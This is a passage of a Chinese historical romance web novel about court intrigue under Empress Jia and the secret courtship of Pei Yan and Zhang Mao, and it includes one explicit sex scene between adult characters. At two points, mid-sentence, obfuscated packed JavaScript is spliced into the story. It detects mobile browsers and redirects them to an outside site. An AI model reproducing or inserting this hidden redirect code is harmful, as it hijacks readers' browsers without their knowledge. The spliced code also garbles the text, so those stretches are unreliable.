张茂点头,与父亲的想法不谋而合。孟观和周处都是当世的能人,难得的文武全才,在朝中和军中皆有威望。 按理说,周处曾任雍州治下的新平太守,是二人中最合适的。但是周处为人刚直,任御史中丞时,曾与梁王有隙。梁王性狭,睚眦必报,如今他统管西北军务,周处若来,必会遭到梁王的报复。 当陈准为周处奋力周旋时,周处的亲友们亦劝他以母亲年老为由推拒。 周处却摇了摇头,道:“因私怨而推辞畏惧,非人臣之节。”随后不置一言收拾了行囊,辞别家小,随大军开拔,奔赴关中。 裴頠听说周处赴任后,特地书信一封与梁王,提醒他顾全大局,莫泄私愤。 然而,他还是高估了梁王的品性,生生错过了拯救周处的最后机会,也错过了平叛的最佳时机。 这也间接地导致了一系列不可控的后续,为贾后一族乃至钜鹿郡公府的覆灭埋下伏笔,可谓一步错,步步错!当然,此为后话了。 43. 名利遮目风云起,小人筹谋得胜时 正当贾后为雍凉之事焦头烂额之际,赵王却在孙秀的提议下,处处揣摩贾后心意,替她出谋划策。 贾后每有令出,张华、陈准还会针砭时弊地臧否几句,赵王却总是毫无原则地附议。渐渐地,贾后竟觉得赵王这个老东西也不是那么讨厌了,待他愈发亲厚起来。 同时,赵王与太子的关系亦暧昧不清。东宫属员多有秘密出入赵王府者。 赵王在皇后面前也从不隐瞒这点,太子派谁来,说了什么,俱一五一十地密报给皇后知晓。 以至于贾后自信地以为,聪明如赵王,绝不会受一个无权无势的太子拉拢。多半还是太子一厢情愿。于是对太子更加厌恶——储君私联诸侯,其心不言自明。 张华为此特地来找过裴頠。他忧心赵王别有用心。毕竟这可是位手捧藩兵的诸侯。他犯得着这么低三下四地讨好一个无子的皇后么?他到底想干什么? 裴頠拈须沉思片刻,道:“如琅琊王氏也未可知。”赵王也许想学琅琊王家那样,两头下注呢? 张华眉头紧锁,心里不大认同。琅琊王氏虽然两头联姻,可也没像赵王这样伏低做小地当皇后的狗腿啊!这般纡尊降贵地献殷勤,所谋非小啊! 与此同时,椒房殿内,贾后手持一份密折,无声地看着,脸上虽不见喜怒,但是侍奉她的心腹女官陈舞,却从她略带颤抖地指尖找到了答案——娘娘如今必是愤怒至极。 鲁国公贾谧跪坐下首,低头将近来调查所得禀报道:“近日,太子买下诸多田产,多积私财结交小人。听侍奉他的婢子密报,太子曾扬言……” 贾谧突然停下来,故意咽了咽口水,假装战战兢兢地瞟了一眼上首,见皇后仍不为所动,终于咬牙下“猛料”,道:“待他继位,定要效仿杨氏旧例,除您后位,囚于金庸城,夷我贾氏三族!” “竖子!”贾后终于暴怒,“啪!”那份密折被她狠狠掷了出去。殿里的黄门、宫人吓得跪倒一片。贾后身边的红铜冰鉴亦在她盛怒之下被推倒在地。 陈舞赶紧去扶,就听得贾后对身边的黄门道:“速去请赵王。” 陈舞手一抖,扶了一半的冰鉴咣当一声又倒了。 贾后却恍若未闻,只见她脸色铁青,牙关紧咬,头上丛生的银发竖得更为明显。纵是侍奉多年,陈舞也未见过皇后如此吓人的模样,心底不禁一寒。 贾谧亦拜倒在地,表面瑟瑟发抖,实则嘴角噙笑——司马遹,娘娘前些年就想动你,都被大母劝和下来。如今大母才走,你就这般作死,看如今还有谁能保你!太子的这些动作有一部分正是赵王透漏的,可见连宗室都不向着东宫! 贾谧自觉胜券在握,太子倒了后,娘娘必不会把储君之位让与旁人。他目露精光,既然贾家能以外姓承嗣,焉知天家不能? 前朝人心浮动,钜鹿郡公府的后院依然安泰祥和。 司马毗这一阵似乎很忙,自上次一别后再没来过,只是隔三差五地遣人送些稀罕玩意儿来。 裴妍既盼着他来,又怕他来。毕竟正如裴妡所言如今钜鹿郡公府一门丁忧,能直接询问朝堂动向的人少之又少,不巧东海王世子就是其中之一。 好在裴娴那里传来消息,道张家父子近来在没有援军的情势下,依然小胜了几场,稳稳地守住了凉州的地盘,没给敌军钻空子的机会。那帮反贼似乎放弃了张家这块硬骨头,转而去攻别的路子了。 很快,张茂的信使也到了,除了报平安的家信,还捎给裴妍一匣子成色上佳的红宝石,道是梁王所赐,正好与裴娴的说辞相应证。 裴妍大大地舒了口气,人没事就好! 一旁的裴妡从匣子里拈起一颗鸽子蛋大小的红宝对着太阳照了照,半只眼珠都被浸染成了血色,是正统的鸽血红。 她点点头,叹道:“倒是好物。我若是你,便叫那张郎君的手下按裴家两房分了再送一次,好叫阿父知晓张家的感恩之心。”这是在暗示张茂不会做人呢。 裴妍却没听出她的深意来,只是觉得妹妹说的在理。她让容秋唤了传信的婆子进来,让她按照裴妡交代的去办。 不料那婆子恭谨地回道:“郎君早已安排妥当,郡公与亭侯处另有孝敬,只是晚到几天。”原来张茂早就安排好了! 这就好!裴妍顿觉松快许多。 裴妡仍是不屑,但张茂确实处事周祥,只好道:“看不出来,张郎君还是个伶俐人。” 时序入秋,因在丧中,今年的中秋过得很是惨淡。 裴憬的妻子柳氏已是大腹便便,小郭氏又感染了风寒,裴妍陪着母亲和大嫂在家宴上坐了坐,就扶着她们回去了。 东海王府倒是送来不少节礼,因小郭氏身上不好,柳氏又即将临盆,便由裴妍清点接收。 里面有不少珍奇的药材,裴妍立刻派人交给顾和缓,看能不能为阿母配出几方固本培元的药丸来。 小郭氏趁势招来女儿,对她道:“自你与世子订亲,从来只见他来,未见你去。虽说女子矜持,但来而不往,如何增进情意?待顾和缓药丸做成后,你当亲自送些与你姑姑和世子,也算成全恩义。” 裴妍不想去,借口道:“儿在丧中,登门多有不便。” 丧中忌婚娶饮宴,华服酒肉,但偶尔的亲戚串门还是可以的。始平公主不照样回宫见帝后? 小郭氏不满意地摇头,点着女儿的脑门,斥道:“夫妻以恩爱为第一要义,你这般冷落家姑与夫婿,来日必有你的苦头吃!” 裴妍没有理会小郭氏的“逆耳忠言”。她自认她的未来定是与张茂在一起。她的家姑和夫婿,在凉州哩。 十月飘雪,洛阳人被初冬的严寒吓得措手不及,纷纷翻出家里的厚衣物。那些没钱的穷人,只能哆嗦着蜷在寒屋一角,眼看着自己一点点变凉。 京城里房屋坍塌无家可归者,无衣御寒者,无粮饿死者,愈来愈多。 张华和陈准为此忙得焦头烂额。这还是京城,可以想见京城之外,当是如何惨状! 然而,福无双至祸不单行。不久,陈准的担忧终于还是发生了——周处刚到关中,就被梁王设计,以五千疲兵挡齐万年七万兵马,最终力竭战死。 随着周处战败身死的消息传来,雍凉刚刚好转的情势又直转而下。 贾后对梁王恨得咬牙切齿,却又拿他毫无办法。 裴頠收到消息后,亦对梁王失望透顶,对周处颇觉愧疚,然而又无可奈何。和赵王一样,梁王也是宗室里的大长辈,还是手握兵权的诸侯,即便帝后又能奈之何? 至于陈准,据说气得当庭仰倒。他与周处乃刎颈之交,如今痛失挚友,怎能不愤恨! 而贾后亦后悔万分,早知道就该听陈准的,换个人去了! 然而再悔不当初也无用,人死不能复生,战事更是不等人。贾后只好咽下窝囊气,听从张华和陈准的建议,颇不情愿地祭出手中王牌——命黄门侍郎、积弩将军孟观为征讨大将军,帅宿卫兵西征。 裴憬的妻子柳氏便是在这个多事之秋临盆了。 这个孩子已经比预产的日子延后了半月有余。这是长房的第一个孙辈,因此小郭氏不顾风寒未愈,依然坚持坐镇外厅。幸好王夫人也在,始平公主和崔氏亦在一旁帮衬。内室里虽嚎啕不断,但仆婢、稳婆来往有序,还算平稳。 裴妍因还是在室女,被小郭氏关在了门外。同样被关在门外的还有裴憬。听得里间传来的一声声惨叫,兄妹俩俱脸色煞白。 为避嫌,二房的男子未过来,裴妡未出嫁,王夫人亦没让她来,但裴妡却自作主张地跑来找裴妍。 她到的时候,就看到大堂哥裴憬袖着手来回走动。裴妍也跟傻了似的,盯着眼前闭合的门缝一动不动。裴妡也被门里柳氏的惨叫吓愣了。饶她在宫里多年,也是头一回亲身经历别人生产。 她有些迟疑地走向裴妍。 裴妍发觉堂妹来了,一把抓住她的手,颤声道:“你听!生孩子竟这么疼呢?” 适时,门里又传来一阵撕心裂肺地嚎叫。 柳蕙素来温柔,与人说话时,声音都是轻轻的柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001237|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔的。很难相信,这惨痛若狼嚎般的声音,是这么柔弱的女人发出来的。 裴妡心头一跳,没来由地也跟着恐惧起来。 这些年她在宫里练就了喜怒不形于色的本事,然而归根结底,她毕竟只是个未出阁的小娘子。难怪她阿母不让她来呢!想到自己将来也要经历这些,不用裴妍描补,她自己也跟着抖了起来。 头胎产程长,身为妯娌的始平公主自产房里出来透口气,就看到廊下像陀螺转个不停的裴憬和瑟瑟发抖报团取暖的裴妍裴妡姊妹俩。 不禁又好气又好笑地道:“大嫂还得熬一阵,如今天凉,大兄何不带两位妹妹去厢房里等消息?这里自有我们在。” 裴憬哪里肯走? 始平理解他的心情,也不多劝,只是架着两个小姑子的手,连哄带吓的把她们拽到隔壁院的厢房里来。 姜茶被婢子呈了上来。 裴妍哆嗦着喝了一大口,热气自喉管下肚,她这才觉得精神几分。一旁的裴妡亦如此。姊妹俩互相看看,俱心有余悸。 始平公主瞅着两个小姑子,知道她们是被吓着了,便拿稀松平常地语气开解道:“这有什么呢?女人生产都得经这一遭。头胎辛苦些,多半要熬个大半日,生第二个的时候,就轻松很多。” 此话一出,姊妹俩脸色更白了。 裴妍哆嗦着问公主:“公主生阿瑢和阿拂时也是这般?” 始平公主与裴该生有一子一女,取名裴瑢、裴拂。 公主含笑点头。 裴妍倒吸一口凉气,问了一个蠢问题:“生孩子这么疼,我可以不生吗?” 此言一出,满室静默。 其实这也是裴妡想说的,只是她知道,比起生孩子的痛,无子更可怕! “也不是所有女人生孩子都这么艰难的,生得快的大有人在。快别说傻话了!”始平以为裴妍吓傻了,赶紧安抚她道,“何况,我们不生孩子,如何给夫家延续血脉?你总不想让妾室的儿子继承家业吧?” 提到这里,始平突然伤感起来,叹道:“我们女人哪,不仅要生孩子,还得是儿子,还得多生几个儿子,不然即便贵为中宫,也要被人欺负。” 这是联想到皇后了。 裴妡本能地握住裴妍的手,朝她摇摇头。裴妍反驳的话只好咽了下去。只是心里不免打鼓,张茂会要她一直生孩子吗?还得是儿子,还得是许多儿子? 裴妍暗忖,他要是也这样想,她就不嫁他了! 柳氏终于在苦熬一夜后,诞下一名健康的男婴。 小郭氏喜极而泣,她们长房,终于添丁进口了! 裴憬小心翼翼地抱过柔软的孩子,僵直着胳膊不敢动,滑稽的样子惹得裴崇和裴该直发笑。 裴頠也欣慰地捏了捏侄孙的小手,因担忧时局而多日愁眉不展的脸上终于露出点笑意。 待二房一行人走后,裴憬将孩子留给小郭氏和裴妍照看,自己径自去抚慰柳氏。 小郭氏因自己还病着,不敢离孩子太近,怕过了病气给孩子。 裴妍在乳娘的指导下,把小侄子抱了起来。孩子还很小,比她睡觉用的绣花枕头还小一些。她一只手托着孩子柔软的脖颈,另一只手环过孩子的小屁股,看着他熟睡的面庞,只觉得这孩子真是玉雪可爱。 “阿母,你说他像大兄多一些,还是大嫂多一些?” 小郭氏定定地看了会孩子,开口道:“像你阿耶多一些!” 裴妍愣住,她阿耶? 她是遗腹子,从小未见过父亲。不过大家都说二叔与她阿耶长得很像。是以这些年,每当别人提到阿耶的时候,她脑海里浮现的都是二叔的脸。 她低头仔细地端详了一阵侄子,疑惑地想,这孩子和二叔并不像啊?也不知道阿母怎么就突然想起阿耶了呢? 裴家长房诞下长孙的消息很快传遍了亲友。 虽如今钜鹿郡公府仍在丧中,但在而后的百露宴上,各路姻亲故旧仍来了不少,就连皇后都赐下不菲的贺礼,以示恩宠。 44. 孟叔时关中大胜,张二郎京城受封 提起皇后,近日她可谓心情大好。 孟观初到关中便捷报频传。不同于出身东吴降将的周处,孟观是帝后心腹,宿卫兵更是军中精锐,以矫捷勇悍闻名。 梁王敢动周处,却决计不敢在孟观面前造次,尤其后勤上,粮草补给更是不敢短半分。 因而孟观出马后,“并统关中士卒,身当矢石,大战十数,皆破之。” 张家与孟观亦颇相得。 张轨与孟观多次书信相约,于凉州、关中双线作战,均有不小的斩获。 张茂与裴妍的书信里互通地都是各种好消息。张茂还以张家的名义给长房送来不少上好的和田玉石及数箱财帛,以贺裴憬弄璋之喜。 喜事接二连三地传来,正月年节后,孟观终于在中亭打败叛军,生擒并杀死匪首齐万年! 至此,这场声势浩大的叛乱终于被平息,一时间,举国欢腾,就连丧中的裴頠也露出了欢颜。 然而,正当孟观大获全胜、欲返京之际,京城却传来一个让人意外的消息——贾后有妊! 领兵在外的诸将也从不同渠道听说了这个消息,脸上皆精彩纷呈。毕竟,皇后已年过四十,且多年不再有妊,如何突然怀上了?事出反常必有妖,诸将虽领兵在外,对朝中诸事不甚明朗,但多少也能猜到,必是皇后与太子又生龃龉! 尤其孟观,他是贾后心腹,长年于宫中行走,对皇后与太子的恩怨知之甚详。 他收到消息后,并没有多少惊诧,只是长长叹了口气,皇后呀皇后,终于还是要对太子动手了! 他虽因缘际会,成了皇后心腹,却不想与太子为敌,毕竟于情于理,太子才是正统。贾后,终归只是一介妇人。 以前他深陷宫中,无法置身事外,如今他领兵在外,正好能借机将自己从两宫的争斗里摘出来。 他召来心腹,耳语一番,心腹面色一沉,连连点头。 不日,孟观的书信便到了贾后案头,道他旧疾发作,实难启程,乞求主上允他就近修养!至于敌酋首级及所获资孥,则由左右副将先行遣送回京! 连天的阴雨终于放晴。 初春的暖阳好似屋里的熏笼,缓缓地释放着不算热烈的暖意。铜驼大街两侧的早樱掩映在飘荡的嫩叶中,花红柳绿,燕过莺啼,好一派繁盛景象。 这日,洛阳城万人空巷,百姓不约而同地早早聚在街边,争先恐后地一睹大军凯旋。 说是大军也不尽然。 孟观以伤员休整为名,扣下半部人马,加上名义上减员的人数,去时一万人的队伍,回时只三千有余。 贾后心疼得要死,这可都是守卫皇城的亲卫啊!可孟观将在外,又刚打了大胜仗,她有火也只好憋着,还遣了医正赶去长安给他瞧病。 赵王正中下怀,他适时地把自己府兵的调兵令牌敬献给了贾后,一番花言巧语,让贾后以为她满可以倚仗赵王的兵马拱卫皇城! 张茂便是在这时节率军回了洛阳城。 他的父亲张轨与孟观配合默契,两路兵马一路守凉州,断叛军后路,一路收关中,绞杀主力。最后两路合围,瓮中捉鳖,助孟观一举生擒酋首齐万年。 因此,这次请功的名单里,头功自是梁王司马肜和积弩将军孟观,张轨父子亦赫然在列。 只是张轨见孟观没有回京受赏,谨慎起见,他也以旧伤发作为由,驻凉州休整,只派了儿子张茂随梁王一同回京复命。 三千兵马放在战场上只当得一支前锋,但他们都是军中的精锐,且大部为骑兵,从铜驼大街跨马而过时,只听得马蹄隆隆,气势如云,围观的百姓俱被这支令出而行、肃杀威武的骑兵震慑。 再看到队伍后方捆着的降兵败将,和一车一车的资孥战利,洛阳城的百姓忍不住欢呼雀跃,纷纷向这支得胜归来的队伍抛来鲜花和嘉果。 甲胄在身的张茂略后于梁王而行。只是他本就长相清隽,又一身红袍亮甲,骑在高高的凉州大马上,在一众着戎装的糙汉中更显英俊不凡。 尤其打头的梁王长得五大三粗,更是衬得略后半步的张茂面如冠玉。因此,抛给张茂的鲜花瓜果尤其多,不少看热闹的女郎一边红着脸向他抛来鲜花,一边忍不住跟着他的马儿疾走,使得街边道路更加拥堵。 裴妍、裴妡和裴娴三姊妹就坐在铜驼大街旁的一家二层茶楼上。 临窗的竹帘被高高撩起,裴妍半倚在栏杆上伸长了脖子向远处的热闹看去。 隔着朦胧的幂离,她一眼就瞧见了队伍前头丰神俊朗、器宇轩昂的张茂。 行至茶楼时,张茂心有所感,只觉头顶斜上方有一束温柔坚定的目光紧紧跟随着自己。他情不自禁地抬头,便与楼上的裴妍看了个正着,目光相触,有如云缠雾绕,丝丝缕缕,牵扯不断。 哪怕隔着幂离,裴妍也能感受到张茂眼中迸射出的如有实质的缠绵情意。 张茂下意识地放慢了行军速度,行在前面的梁王本就对女郎们对张茂的吹捧不满,顾盼间见张茂突然慢了下来,不禁皱眉,端着脸提醒他:“张护军留神!” 张茂是领头的将领之一,他一慢,后面的骑兵队伍都会跟着乱了节奏。 大庭广众之下,纵有再多浓情,亦只能暗藏心底。不得已,他满含歉意地朝上方的佳人拱了拱手。 裴妍知道他要先入皇城,向帝后复命,稍后还有献俘仪式和宫中赐宴,自是不敢耽搁他,于是了然地朝他点了点头。 大军自茶楼下穿行而过,渐行渐远,撩起一路烟尘,裴妍却还在痴痴地望着队伍离去的方向愣神。 裴妡拿团扇轻敲堂姐的脑袋,嗤道:“快醒醒吧,人都走了。” 裴妍却没理会她,犹自看着行军的方向。 另一边的裴娴和裴妍的表情如出一辙,她意犹未竟地看着远去的人马,啧啧叹道:“张郎君诚天人也!” 裴妡朝俩人白了一眼——天人?哼,区区一个六品殄虏护军,好意思说? 张茂与裴妍的眼神官司隐晦而短暂,然而还是被有心人看了去。 裴家姊妹斜对面的酒楼上,韩芷放下手边的竹帘,语含讥讽地对身后的俏郎君道:“原以为那位不近女色,到头来……原是学我阿耶,偷香窃玉来着!” 那俏郎君是谁?正是前年进宫的董狐。 他入宫后才发现,在宫中若无靠山,光凭贾后的宠爱一样不能长久。 因此,干脆一身两用,既殷勤地伺候新欢皇后,又不忘与旧主韩芷偷情。果然,有了韩芷这个皇后侄女的帮衬,他在宫里这些年可谓顺风顺水。 其实贾后对董狐的所为亦知情,只是她也喜欢这份隐秘的刺激,干脆默许了他与侄女的偷情。三人的关系可谓心照不宣。 董狐给韩芷浅斟一杯杏花酿,感叹道:“除非兔儿爷,哪有男人不喜女子的。只是可怜东海王世子,堂堂诸侯,竟管不住自己的妇人。” “哈哈哈哈!”韩芷大笑起来,拿团扇的柄子戳戳董狐,自得道:“别说区区一个诸侯,即便天子又如何?我也好,娘娘也罢,可有哪个男人管得住?” 这话说得董狐心里痒痒的,竟产生一种老子比天子还厉害的错觉。 韩芷是颍川荀氏的妇人,皇后更是天子之妇,不照样被他骑在□□,肆意揉弄? 董狐本就是没脸没皮之人,感觉来了,便一把抱住韩芷,勾缠亲吻。 她们行的那酒里本就有催情之物,如今被韩芷言语撩拨,只觉身下硬物高举。 他甚至来不及褪去怀里美人的衣衫,只忙着解下自己的汗巾,又让韩芷正面卧趴在栏杆上,背面朝着自己,拨开她的裙绔,就这么径直而入,站着解起馋来! 韩芷与外面的马路只隔着一层薄薄的竹帘,透过帘子缝隙还能隐约看见外面来往的路人。 这种行乐的方式还是头一遭,她亦觉刺激,在药酒的佐兴之下,二人更加亢奋,行事愈加放浪。 弄到极乐处,韩芷夹着一股劲问身后的董狐:“你说,张茂那个冰山,捣起裴家那个璞玉来,是怎么个光景?可有我们快活?” 那董狐正是冲刺的关键时候,想也没想地答道:“自然不能跟我们比!” “为何?” 董狐一轮结束,又抖了几抖,理智渐渐回笼,喘着粗气,跟她分析道:“某见裴家娘子还是完璧哩!” “啊?”韩芷立时回身,没力气地靠在栏杆上喘息,诧异道:“当真?” 董狐一拍胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001238|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脯,保证道:“某经过的女人没有一百,也有八十,是不是完璧,一眼便知。” 韩芷不可置信地摇头:“呵,没想到张茂还真是个君子?” 这话董狐不爱听,张茂是君子,那侍奉床帏的他岂不是小人?他自认自家才情不输那个张茂,所欠只是个好出身而已! 他恨声道:“哪来什么坐怀不乱,不过是时机未到,没能得手罢了!” 见韩芷不置可否的样子,董狐眼珠一转,计上心头,附在韩芷耳边,小声道:“夫人可愿与某打个赌……” 张茂回城的第一日果然很忙,却依然命身边的听雨来钜鹿郡公府投了拜帖。 第二日一早,便亲自登门拜会家主裴頠。 张茂此前在裴家当清客,一住就是几年,裴頠早将他当半个子侄待。这次张茂回京复命,因功被提为四品中郎将,他第一个来拜会的亦是自己。 裴頠对张茂愈发满意,留他在书房聊了许久,又召来裴家的三兄弟作陪。 张茂与裴憬曾是主仆,只是如今张茂已因功封四品中郎将,而裴憬无论是爵位还是官职都不过五品。 按说,当是裴憬与张茂见礼。然而面对裴憬时,张茂却依然对他恭敬非常。 裴頠一旁看着,暗自点头,功高不忘本,是个嘉苗。 裴憬没那么多心思,他和妹妹一样,张茂出征的这些日子,他一直担心不已。如今见他全须全尾地站在自己面前,还加官进爵了,只觉高兴非常。 从叔父的书房出来后,裴憬便辞过裴崇和裴该,径自拉着张茂到自己的院子来小聚。 裴憬还给他展示了自己的儿子——不到半岁的小奶娃,逼着张茂也抱一抱。 张茂哪里抱过婴儿,在裴憬的指导下,僵持着胳膊,笨拙地托起这个熟睡的小家伙——裴妍和柳氏进来的时候,看到的就是这样滑稽的一幕。 柳氏怕儿子摔着,赶紧命侍婢上前接过孩子,又狠狠地瞪了裴憬一眼,吓得裴憬不敢说话。 恰巧孩子突然哭了起来,想是饿了,柳氏便让侍婢把孩子抱去乳母处喂奶。 裴妍自进门始,眼神便一直黏在张茂身上。张茂亦如此。 只是他们身边毕竟有裴憬夫妇在场,二人只能克制着自己。 然而浓烈的情思哪里是能遮掩住的。 裴憬自是无知无觉,细致如柳蕙,却一眼便看出端倪。她心里早有猜测,如今被印证,倒不觉稀奇,面上不显,只静观其变。 张茂与裴憬是通家之好。 裴憬便想留饭。 然而张茂却告罪请辞,道是刚回京城,家中多有余事未料理。 裴憬还要挽留,却被柳氏拦住,笑着劝他:“来日方长,夫君急什么!” 裴憬无法,只得将人送走。 张茂前脚刚走,裴妍后脚就被裴娴约了出来,去的是她们常聚的酒楼。 裴娴临出门时,柳蕙一把拽住这个表妹,冷肃地审她:“你可是瞒了我什么?” 柳蕙难得冷脸,裴娴心虚地一抖,假作赶时间,敷衍道:“我能瞒什么?表姊说话越发让人听不懂!” 言罢便拽着裴妍匆匆上了车。 柳蕙望着远去的牛车,脸色愈发凝重。她与裴娴是自小一起长大的,每每裴娴做了亏心事,脸上就是那表情呢! 酒楼离裴府不远。待裴妍与裴娴踏进雅间时,张茂与薛翊已经等在里面了。 裴娴赶紧朝夫君眨了眨眼,薛五郎会意,意味深长地一拍张茂的肩头,又向门口的裴妍打了招呼,随夫人去了隔壁的厢房。 偌大的内室里,终于只余张茂与裴妍两个。 裴妍红着脸站在门口,两只手有些局促地交握着,方才薛翊看她和张茂的眼神充满戏谑。她到底未出阁,就这么与外男私相授受,只觉得又羞又惭。 张茂却气定神闲地起身,渐渐走近裴妍。 他不急着说话,只是站在她身前定定地打量着她。 一年未见,小女郎身量又长开了。及笄后的阿妍少了三分稚气,多了七分娇媚,不施粉黛,却依然颜若芙蓉,璀璨光华。 饶是沉稳若张茂,亦觉心头一酥——长成后的裴妍真是如珠似玉,光彩照人! 45. 鸳鸯局里情人恨,阴谋肚里美人刀 张茂的视线上移到她的发鬓上,见她堆鸦的秀发中间,只一支玉蝉金钗斜簪。那钗,正是自己送与她的及笄之礼! 他情不自禁地扶上裴妍的发髻。 裴妍只觉浑身一颤。 张茂的手好似一羽轻飘的鹅毛,自她的鬓发撩到了脸颊。 裴妍有些痒,又有些羞,抬手覆在了张茂的手上,将自己的半个脸颊送到了情郎的手心里。他的手心长了一层厚厚的老茧,磨在裴妍的嫩皮上,有些咯人。 裴妍将他的手从脸上拿下来,翻开他的手掌,拿指尖抚摸着上面起皮的茧子,心疼地道:“明明以前没那么厚的。” 张茂笑道:“以前,阿妍摸过我的手?”这话说得裴妍脸上一红。 张茂刚与她定情便去了西北,说来,他俩此前真没有这么亲密过。 裴妍羞得赶紧松开手,张茂却不给她这个机会,牢牢将裴妍的两只柔荑握在自己的手心里,略一发力,裴妍踉跄一步向前,脑门正贴上张茂的喉间。 裴妍还没反应过来,就见张茂低下头,她只觉得自己脑门一暖,被一个热乎乎的软肉贴了一下,待反应过来是什么时,张茂已经乘胜追击,双唇自裴妍的额头顺势而下,轻柔地吻上她的鼻尖,继而,准确地落在了她的双唇上。 裴妍只觉浑身酥软,脑袋蒙蒙的,腿一软,差点站不稳。 不知何时,张茂的一只手环住了裴妍的腰身,另一只手则紧紧锁住了她的后脑。 裴妍只觉自己被张茂牢牢困住了,除了闭上眼睛承受这眩晕的迷醉,别无他法。 张茂此前不近女色,更别谈与女子□□上的触碰了。裴妍对男子亦如是,因而二人行事,仅凭本能。 男人对于这种事似乎更能无师自通些,待张茂偶然碰到裴妍的舌尖,便突然食骨知髓,再不放开。 裴妍的舌头被张茂吸住,自己的身子亦被他牢牢锁在怀里,她只觉自己呼吸都不畅起来,呜呜地挣扎了两声,终于,张茂离开了裴妍的唇,只是还将她拘在怀里,额头也抵上她的。二人都不自觉地喘息着。 直到裴妍的肚子里突然不合时宜地传出一声响动。她有些尴尬地捂住自己的腹部。 张茂回过神来,好笑道:“饿了不早说!”他这才松开手,将裴妍扶到席上坐好。 裴妍有些懊恼,她知道张茂今天回来,从早上起来就在牵挂着他,一整天都浑浑噩噩的,饭也没有好好地吃。到了这会,已然饿肚子了。 张茂耐心地给她布菜。裴妍看了眼席面,俱是她喜欢的菜式,想到这些都是张茂安排的,心里顿时暖融融的。 张茂举起酒壶问她:“阿妍能饮否?” 裴妍虽是女子,但在闺阁里没少和姊妹饮酒。酒量、酒品俱是不错的。 她也不矫情,直言道:“半斤以内皆可。” 张茂眉梢一挑,没想到他的阿妍还是酒中豪杰。 但他依然只给裴妍浅斟一盏,道:“在外不可多饮。” 裴妍却举起面前的酒盏一饮而尽,品评道:“十年的杏花酿,不错!” 又将空盏直直递来,张茂无奈地摇头,只好再给她续了一杯。 酒吃到一半,裴妍突然闻到一股烤肉味。她循着香味望去,原来这间厢房的露台上正烤着一只肥大的羊腿。 为防中途有人来打扰,菜俱是上齐了的。这只羊腿,显然也是早就放在这里烤着的,只是之前还没有熟,香味没有那么浓烈罢了。 张茂见状笑了笑,起身拿起案上的一个小木盒来到烤架旁,打开盖子,从里面捏了几撮赭色的粉末出来,均匀撒在羊肉上,顿时屋里馨香更甚,让人不禁食指大动。 裴妍也好奇地来到羊肉旁,鼻子凑上去闻了闻,却不小心打了个喷嚏。 张茂赶紧拦住她,解释道:“这是西域特有的香料,唤做孜然。烤肉的时候撒上它,会更好吃。但不可吸进鼻子里,会引起不适。” 张茂将裴妍推远点,自己从烤架旁拿出一把匕首,切分了一块羊肉在盘里,递到裴妍身前,推荐道:“这是西北带来的羊肉,味道与京城的很不同,你尝尝。” 裴妍早就馋得咽口水。她迫不及待地夹起一块肉放进嘴里,只觉馨香扑鼻,口齿留甘,比中原的羊肉鲜嫩太多。 她感叹道:“真好吃!若能天天吃到就好了!” 张茂莞尔,露出风流促狭的一笑:“这有何难,等你嫁来凉州,我天天命庖厨烤给你吃!” 听到这话,裴妍突然止了笑,脸上露出早已压在心底里的烦忧,她和司马毗已然订婚了,如何能随张茂去凉州呢……她不自禁地看向张茂,眼里郁色缭绕,欲语还休。 张茂知她所忧,握住她的手,柔声道:“阿妍,圣上已下旨,封我阿耶为凉州刺史,都督西北军政,我为中郎将。我欲向钜鹿郡公陈情,明年你脱孝后,便娶你为妻。” 这……虽然裴妍与张茂早已定情,也知道总有一天她要将此事告诉家长。但是她自己对长辈们却没有信心,甚至想着能拖一天是一天。没想到张茂却突然打破了这个平静,贸贸然地便要向叔父陈情。 可是,阿叔和阿母会同意吗?万一他们不同意,甚至大发雷霆呢?自己岂不是连与张茂私相往来的机会都没了? 裴妍心里打着鼓,嘴里含着肉,却味同嚼蜡。她有些口干,抄起手边的酒壶灌了一大口,终于勉强将那一块羊肉囫囵着咽了下去。 张茂坐到她身后,轻轻拍着她的后背,心里愧疚万分。 他觉得自己何其自私,明明她已经与旁人订亲的,他却又来招惹她,让她在自己和家族之间为难。 可他又怕,若自己不争取,裴妍也许真的就此斩断了对他的那点好感,转头嫁给了旁人,从此他们便再无交集。 厢房里一下子静下来,二人均陷入了沉默。 其实张茂也知道,如今向钜鹿郡公陈情还不是时候。他阿耶初掌凉州,不服者众,张家需要时间稳定人心,掌控大局。钜鹿郡公也需要审时度势,重新考量他们与张家的关系。 然而他在钜鹿郡公府住过几年,自认对家主裴頠有一定的了解。他是一个重情义的人。这些年来,因着爵位的事,他对二房一直心存愧疚。若得知裴妍心悦的是自己,哪怕此事会惹得东海王不悦,裴頠多半也会顺了侄女的心意。 当然,这一切的前提是张家要立得起来,能给裴家带来更大的助力。这也是张茂深觉时不我待的原因。 “阿妍,我知你为难。但此事终要面对长辈。与其拖着,不如趁早禀明。”张茂一向杀伐果决,无论在战场,还是情场。 裴妍却举棋不定。她要面对的人和事比张茂复杂得多:东海王妃、司马毗待她不薄,她却负了他们;阿母一心促成这桩婚事,她却阳奉阴违;阿叔待她视如己出,她却为一己私情让阿叔为难…… 直到此刻,她才发现,自己与张茂之间,原来横亘着这么多剪不断理还乱的人情利益。 